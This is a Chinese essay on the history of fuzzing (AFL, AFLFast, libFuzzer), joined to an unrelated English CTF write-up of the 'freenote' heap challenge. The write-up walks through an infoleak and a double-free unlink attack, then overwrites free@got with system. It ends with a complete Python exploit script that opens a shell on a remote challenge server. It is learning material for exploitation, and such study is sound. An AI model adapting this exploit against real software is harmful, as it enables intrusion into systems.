Fuzzing这个事物大概可以上溯到1950年，当计算机还在读取打孔卡作为输入的时候。那时候的工程师会从垃圾箱里随机检出一些废弃卡片，或者在卡上随机打孔作为输入来测试自己的程序。在1988年，Barton Miller在课堂上将Fuzzing这个名词正式确定，从此拉开三十年波澜壮阔的序幕。

广义上的fuzzing并不是漏洞挖掘中的专属内容，而是DevSecOps和Continous Integration质量保证中必不可少的一环，甚至可以延伸到完备图灵自动机的美妙梦想。在起初，人们通常以monkey testing来指代最原始的fuzz，就像著名的无限猴子定理一样：让一只猴子在打字机上随机地按键，当按键时间达到无穷时，几乎必然能够打出任何给定的文字，比如莎士比亚的全套著作，当然也有可能包含一套Nginx RCE。

但很显然，随机化的输入虽然终究能覆盖所有的输入空间，在人类未来可预见的算力水平下近乎天方夜谭。刘慈欣在《诗云》中有一个宏大的故事：宇宙神级文明为了写出最优雅的诗，而把整个太阳系的物质作为存储器，采用枚举遍历的办法把所有文字的排列组合全部生成并存储了下来。但最后神却发现，即使理论上这里存储了所有的诗句，他也无法在可接受的时间内找出目标来，因为美妙这个词本身就是主观而无法定量界定的。以神的算力尚且无法完成，以人的算力就更不可能了。随着软件复杂度大爆炸式的增加，dumb fuzzing的随机生成方式相当于在东方明珠上向下扔一只钉子，寄希望它能刚好掉进楼下某个人举着的酒杯里。

田园农耕时代

为了解决以上问题，在学术界，结合动态执行的symbolic execution在一段时间成为了主流，KLEE[1]即是其中的扛鼎之作。在Z3 Solver和LLVM bitcode infrastructure的加持下，KLEE能够自动解析各式各样的条件代码语句并生成输入，进而辅助fuzzing。

而在工业界，一般分两种做法：

• peach为代表的模版流派：研究人员通过XML等方法定义输入数据的格式，这种常见于文件格式和协议的fuzzer。
• 依赖于样本的收集和变异的样本流派：例如早年间IE和Flash的fuzzer很多依托于通过爬虫搜集的大量样本集合。整体来说，那个时代工业界的fuzz是各流派的独门秘籍，每个人都有自己的秘不外传的实现，热闹非凡但原理上大同小异。

虽然这些方案看起来都非常home brew，在早期的软件复杂度和质量的前提下，人们依然能够取得较好的成果。但随着软件复杂度的摩尔式增长和SDL开发流程的全面引入，停留在农耕时代的fuzzer们发现，自己开始跟不上软件发展的潮流了。

从越南战争到海湾战争

所有信息安全面临的问题都能在军事界找到类似的场景。美军在越战之中投放了前所未有的火力和军队，但依然遭受了惨重的伤亡乃至最后停战。越战的问题集中反应在火力杀伤效率的低下，面对防御严密的目标，攻击方只有两种选择

1. 特种部队渗透或地面强攻。但这需要大量情报和兵力支持，并极有可能遭受大量伤亡。
2. 提高航空兵和地面炮火火力密度，寄希望于火力扇面能够覆盖目标。但这只会进一步造成火力的浪费，同时仍然无法保证毁伤效率。

这和fuzzing技术后期面临的问题是类似的。针对越来越复杂的目标，纯粹堆计算资源的dumb fuzz效果已经可以忽略不计，但程序分析本身是一个NP-hard问题，符号执行的方法极易引起路径爆炸，对于复杂的软件最终会撞到资源墙上。而工业界的方法过于强调样本或格式指引而非程序指引，要么需要投入大量的前期精力编制模板，或者在缺乏context的情况下两眼一抹黑撞大运。

直至80年代末期，人们所设想的现代战争形式依然是拼消耗的钢铁洪流对撞，两伊战争的结果更是给这个理论增加了注脚。萨达姆在海湾阴云密布时，仍然充满了信心，仗百万精兵要让多国部队血流漂橹。

然平静之下，暗流涌动。针对以上问题，电子技术的发展和成熟及应用催生着新一代的军事革命，并最终在海湾战争中完美登台亮相。多国联军以摧枯拉朽之势击败了伊拉克军队，彻底颠覆了过往的战争形势，震撼了全球：

• 精确制导武器极大提升了火力发现和打击的效率 – 精准原则
• C4ISR数据链指挥系统带来了从古至今所有军人梦寐以求的战场单向透明 – 敏捷原则

漫长的黑夜预示着黎明，更精准、更敏捷的划时代fuzzer即将登场。

横扫千军如卷席

随着LLVM工具链的成熟和计算资源的大发展，基于编译器插桩的coverage-feedback driven fuzzer渐渐成为了答案之一。正如美军在海湾战争展示的新军事革命一样，AFL的诞生则宣告着这个永恒的问题出现了一个高分答案。

AFL (Americal Fuzzy Lop，logo是美洲本地可爱的长毛兔) 由Michał Zalewski在2014年发布并开源，并迅速像AK47统治枪械市场一样成为了fuzzing系列工具的de facto standard，数年间斩获上万CVE。

1. 基于编译时插桩和自定义bitmap的方法维护coverage信息，以简洁的方式巧妙地解决了以往获取coverage效率太低的问题
2. 基于fork/exec的方式极大提高了fuzz效率
3. coverage导向的遗传进化算法简单但惊人地有效
4. 在设计上即支持多进程甚至跨集群并联

在先驱者探明道路之后，后继者雨后春笋般涌现出来。LLVM也推出了自己的实现libfuzzer，以in-process mode取代了fork mode。基于AFL和libfuzzer的体系，结合protobuf定义，模版化fuzz也以structure-aware fuzzing的名义重返舞台。内核领域的对应者syzkaller也取得了极大成功。这类方法统称为Coverage-based greybox fuzzing(CGF)，如秋风扫落叶一般横扫各大系统软件，进而成功入关获得了学术界的注意。

CCS’16中Marcel Bohme, et al[2]将工业界的这项革命成果正式通过Markov Chain的方式予以理论化，即Fuzzing实际上是不断变化的马尔可夫链，马尔可夫链的各个节点代表了程序的各种状态，而种子选择和样本变异的策略将直接影响结点之间的转移概率。那么衡量CGF Fuzzer效率的指标自然就是发现新节点的概率是否足够大，以及节点之间转移的概率*次数（命名为能量，注意这里的能量并不是指省电费降低服务器负载的概念，而是说对各个样本和路径的单位fuzz投入和需要生成的input数量，笔者认为称为FI, fuzzing investment更合适）是否足够均衡。

在能量体系的武装下，Marcel等人提出了AFLFast对AFL设计中存在的能量问题做了进一步改进。Marcel等观测发现，AFL的默认调度算法存在着两个问题

• 常量平均分配启动方式会导致额外的FI被浪费，影响启动效率
• 高密度到达区域会进一步消耗更多的FI，导致低密度区域无法触达，造成恶性循环

针对这些问题，AFLFast在FI调度算法和搜索策略上进行了改进，在真实Fuzz目标-binutils上获得了比AFL高1-2个数量级的发现，在24小时内发现了原始AFL未能发现的4个CVE，平均达到19倍的效率提升。Team Codejitsu在美国国防部和DARPA组织的CGC – 基于人工智能的自动化漏洞挖掘大赛上，使用AFLFast获得了漏洞发现数目单项挑战的亚军。

在系统层面，Wen Xu等在ACM CCS 2017[3]上提出了AFL原始实现中fork和多实例样本同步中存在的问题：

1. 即使fork模式已经节省了大量的binary载入时间，但在多核集群上大量实例并行执行时，fork本身仍然会成为昂贵的操作（新建页表、锁开销）等。事实上我们需要维护的只是内存页的COW快照，而不用维护一个新父子进程的完整实例。
2. 多实例同步依赖于小文件队列的读写，在文件metadata上会浪费较多时间，同时对文件系统造成不必要的压力

通过新增snapshot等syscall来解决以上问题，最终在多核机器上取得了至少40%的性能提升。

在Zalewski于2018年宣布挂印归隐后，社区接过了AFL发展的任务，并以AFL++的形式继续发布。AFL++引入了上述研究在内的多种优化，继续在各大服务器里冲锋陷阵，繁荣的新时代已然到来。

使命召唤：未来战争

未来战争是什么形式？未来的fuzzing又是什么形式？笔者并无意断言也无法断言，但仍愿管窥一二抛砖引玉

• 随着5G时代的到来和音视频流载体业务的愈发盛行（短视频、直播、在线会议等），多媒体库和相关业务承载着越来越多的关注，Fuzzing的触角也在从传统的软件延伸到全链路的各个环节。
• DARPA组织的Cyber Grand Challenge尝试将漏洞挖掘与AI进行结合，而最终的结果证明了CGF及其改进版仍是距离自动化漏洞挖掘和利用这一伟大目标最为实际的路径。
• 得益于虚拟化技术的进步和RISC for server computation的普及，CGF在跨平台blackbox binary上也变的可行，车联网、IOT、基带、工控固件、closed-source binaries中仍有无穷无尽的漏洞等待发掘。

在历史洪流的大背景下，漏洞军火化不再是遮遮掩掩的话题，而逐渐露出了真刀真枪国家对抗的原本面目。互联网设施的安全保卫和对等威慑能力的建设和实施，包括ClusterFuzz/OSSFuzz这样基础平台的建设，已经是时代摆在面前的课题。

在后续系列文章中，笔者将结合上述展望，尝试再度展开一二，敬请期待。

[1] KLEE – KLEE LLVM Execution Engine https://klee.github.io/

[2] Coverage-based Greybox Fuzzing as Markov Chain – https://www.comp.nus.edu.sg/~abhik/pdf/CCS16.pdf

[3] Designing New Operating Primitives to Improve Fuzzing Performance – https://gts3.org/~wen/assets/papers/xu:os-fuzz.pdf

Author: Flanker

Abstract

Freenote is a binary with infoleak and double free vulnerabilities and is a good practice for heap exploitation. The first vulnerability is when a note is deleted, its content isn’t zeroed and when another note is allocated at the very same location, the content of last allocation is still there. The second vulnerability is when freeing note the program does not check if the current note is actually already freed, causing a double free.

Introduction

There are two data structures used in freenote, one we name it “NoteBook” and the other “Note”. Note book can be mapped to the following structure:

struct Notebook {
    int tot_cnt;
    int use_cnt;
    Note notes[256];
}
struct Note {
    int in_use;
    int content_length;
    char* content;
}

There are four operations available: list, delete, new, edit. Delete operation simply set the in_use field to zero and call free on the Note ptr, however it doesn’t check whether this note is already freed before (in_use field is already zero). Edit option checks if the new input lenght is equal to original one. If not, it will call realloc and then write new content into the origin note. New option mallocs a (len//0x80 + 1)*0x80 chunk and writes user input, notice no zmalloc or memeset zero is called. Thus lead to the first vulnerability – infoleak.

Heap baseaddress InfoLeak

As we stated before, neither new note or delete note operations zero outs memory. Recall the chunk struct of glibc malloc:

struct malloc_chunk {
    INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
    INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
    struct malloc_chunk* fd; /* double links -- used only if free. */
    struct malloc_chunk* bk; /* double links -- used only if free. */
    struct malloc_chunk* fd_nextsize; /* Only used for large blocks: pointer to next larger size. */
    struct malloc_chunk* bk_nextsize; /* Only used for large blocks: pointer to next larger size. */
 };

And also, list note use %s format string to output note content, so we can free two non-adjacent note. This will make the first 16 bytes (for 64bit-arch or 8bytes for 32bit-arch) after size field, which is originally the “data”/”content” of in use note. Then we can new a note again, because freed chunk in bin list tend to be reused first, we will actually get the originally freed note. And write sizeof(malloc_chunk*) char into the note, call list note and we will get the bk pointer value.

We cannot just free one note and call new note on it because when there is only one free chunk, this chunk’s fd and bk will point to glibc global struct but not chunk on the heap. We need the heap address to bypass ASLR to exploit the next double-free vulnerability.

So steps are: – New four notes, 0,1,2,3 – Delete 0,2 – New note again, this time note 0’s chunk is reused, write 4bytes(32bit arch)/8bytes(64bit arch) – List note, get note2’s address, substract offset to get base heap address.

After 0 is freed:

gdb-peda$ x/100xg 0x604820
0x604820:    0x0000000000000000    0x0000000000000091
0x604830:    0x00007ffff7dd37b8    0x00007ffff7dd37b8
gdb-peda$ p main_arena
$3 = {
  mutex = 0x0,
  flags = 0x1,
  fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
  top = 0x604a60,
  last_remainder = 0x0,
  bins = {0x604820, 0x604820, 0x7ffff7dd37c8, 0x7ffff7dd37c8, 0x7ffff7dd37d8, 0x7ffff7dd37d8,

Notice currently chunk Note0 does not contain pointer to address on heap.

After 2 is freed:

(after free 2)
0x604820:    0x0000000000000000    0x0000000000000091(note 0 chunk)
0x604830:    0x00007ffff7dd37b8    0x0000000000604940(point to note2 free chunk)
0x604840:    0x0000000000000000    0x0000000000000000
0x604850:    0x0000000000000000    0x0000000000000000
0x604860:    0x0000000000000000    0x0000000000000000
0x604870:    0x0000000000000000    0x0000000000000000
0x604880:    0x0000000000000000    0x0000000000000000
0x604890:    0x0000000000000000    0x0000000000000000
0x6048a0:    0x0000000000000000    0x0000000000000000
0x6048b0:    0x0000000000000090    0x0000000000000090(note 1 chunk)
0x6048c0:    0x0000000062626262    0x0000000000000000
0x6048d0:    0x0000000000000000    0x0000000000000000
0x6048e0:    0x0000000000000000    0x0000000000000000
0x6048f0:    0x0000000000000000    0x0000000000000000
0x604900:    0x0000000000000000    0x0000000000000000
0x604910:    0x0000000000000000    0x0000000000000000
0x604920:    0x0000000000000000    0x0000000000000000
0x604930:    0x0000000000000000    0x0000000000000000
0x604940:    0x0000000000000000    0x0000000000000091(note 2 chunk)
0x604950:    0x0000000000604820    0x00007ffff7dd37b8(point back to note0 free chunk)
0x604960:    0x0000000000000000    0x0000000000000000
gdb-peda$ p main_arena
$4 = {
mutex = 0x0,
flags = 0x1,
fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
top = 0x604a60,
last_remainder = 0x0,
bins = {0x604940, 0x604820, 0x7ffff7dd37c8, 0x7ffff7dd37c8, 0x7ffff7dd37d8, 0x7ffff7dd37d8,

Double free

As note can be freed twice, we can use the unlink primitive to do a arbitrary write. But how do we bypass the glibc unlink FD->BK == P && BK->FD == P check? We will use 64bit arch in the following content of this article.

Remember there is also a pointer point to the note chunk in notes array, we call it “content”. A fake chunk with *(FD+3) == P == content and *(BK+2) == P == content will pass glibc’s check, thus make *P = P-3.

Free use prev_size to decide previous chunk’s address if prev_inuse (size&1) is false. If dlmalloc finds out previous chunk is free when freeing current chunk, it will do an unlink on previous chunk to remove it off freelist and merge with current chunk.

So we have a sckeleton idea, – Alloc 0,1,2, place fake chunk at 0 – Free 1,2 – Alloc 3 covering 1,2, so that we can construct a fake chunk in the original location of 2 – Call free on 2 again

What’s worthing noticing is that dlmalloc decides if current block is in use by checking next adjacent chunk’s in_use flag. So to make double free on 2 succeed, we need append two more fake chunks, and set them as in use. This is because:

For the following chunks (assume all valid chunks): | 1 | 2 | 3 | 4 | 5 |

When freeing 3, dlmalloc will check if 2 is in use using 3’s PREV_INUSE flag, and check if 4 is in use using 5’s PREV_INUSE flag. 5’s address is decided using 3’size + 3’address + 4’size. So when we make fake chunk 3, we must also append two “valid” fake inuse chunks after 3, to avoid SIGSEGV.

READ LIBC ADDRESS

As we successfully perform a write, the memory layout of NoteBook struct, which is at the beginning of heap, becomes

gdb-peda$ x/40xg 0x11af000
0x11af000:    0x0000000000000000    0x0000000000001821
0x11af010:    0x0000000000000100    0x0000000000000002
0x11af020:    0x0000000000000001    0x0000000000000020
0x11af030:    0x00000000011af018    0x0000000000000001

Notice *P has becomes P-3, so by editing note we can overwrite P, pointing it to free@got or whatever convenient. When constructing note payload, notice the payload length should be equal to original one (0x20), or realloc will be called and our fake chunk will not pass realloc check. For the following note edit’s convenience (we’re writing a 8byte address to note 0, we can modify note0’s length as 8 here).

Then perform a note list to read free@got’s content, i.e. free’s address. Using this address we’re able to get system’s address. Then a write (note edit) is performed on note 0, remember we’ve already modified note0’s length to 8, thus avoiding realloc.

EXECUTE CODE

We choose to rewrite free@got because we can control its argument, e.g. freeing a note whose content is under our control like “/bin/sh”. So we can new a note with content “/bin/sh\x00”, then call rewrited free (now system) will give us a shell.

Example code (64bit and 32bit)

64bit:

from zio import *
import time
#io = zio('./freenote1')
io = zio(("xxxx",10001))
def new_note(content):
    io.read_until("choice: ")
    io.writeline("2")
    io.read_until("new note: ")
    io.writeline(str(len(content)))
    io.read_until("note: ")
    io.writeline(content)
    io.read_until("choice: ")
def free_note(nid):
    io.read_until("choice: ")
    io.writeline("4")
    io.read_until("number: ")
    io.writeline(str(nid))
def read_note(nid):
    io.read_until("Your choice: ")
    io.writeline("1")
    notes = io.read_until("== 0ops Free Note ==")
        if notes.find("Invalid") != -1:
            io.read_until("Your choice: ")
            notes = io.read_until("== 0ops Free Note ==")
    for note in notes.split('\n'):
        if note[0] == str(nid):
            return note.split("%d. "%nid)[1]
    return ""
def mod_note(nid, content):
        io.read_until("Your choice: ")
        io.writeline("3")
        io.read_until("Note number: ")
        io.writeline(str(nid))
        io.read_until("Length of note: ")
        io.writeline(str(len(content)))
    io.read_until("Enter your note: ")
        io.writeline(content)
        io.read_until("choice: ")
new_note("aaaa")
new_note("bbbb")
new_note("cccc")
new_note("dddd")
free_note(0)
free_note(2)
new_note("abcdabcd")
#free block 0 and 2
out = read_note(0)
base_addr = l64(out[8:].ljust(8,"\x00")) - 144*2 - (0x604820 - 0x603000)
prev_size_offset = 144*2 + 128
#note addr begins at 0x603010
FAKE_PREV_SIZE = 0x0
FAKE_SIZE = prev_size_offset + 1
FAKE_FD_ADDR = base_addr + 0x18 #*(FD+4) = P
FAKE_BK_ADDR = base_addr + 0x20 #*(BK+3) = P
#free all notes, 0,1,2,3
free_note(0)
free_note(1)
free_note(3)
new_note(l64(FAKE_PREV_SIZE) + l64(FAKE_SIZE) + l64(FAKE_FD_ADDR) + l64(FAKE_BK_ADDR))
new_note("/bin/sh\x00")
FAKE_PREV_SIZE = prev_size_offset
FAKE_SIZE = 0x90
#alloc chunk at (2,3)
new_note('a'*128 + l64(FAKE_PREV_SIZE) + l64(FAKE_SIZE) + 128*'a' + (l64(0) + l64(0x91) + 128*'a')*2)
free_note(3)
#alloc note0 with fake chunk
#now free block 1, then alloc block4 at block(1,2)
#fake chunk 2 should have prev_size points to chunk 0 data area
'''
|PREV_SIZE|SIZE|{PREV_SIZE}|{SIZE}|{DATA}|PREV_SIZE|SIZE|DATA
'''
'''
now *p = p-3, modify note 1 to free@got
'''
mod_note(0, l64(0x2) + l64(0x1) + l64(0x8) + l64(0x602018))
free_addr = l64(read_note(0).ljust(8, "\x00"))
system_addr = free_addr - (0x76C60 - 0x40190)#libc at pwn server
#system_addr = free_addr - (0x82df0 - 0x46640)
mod_note(0, l64(system_addr))
free_note(1)
io.interact()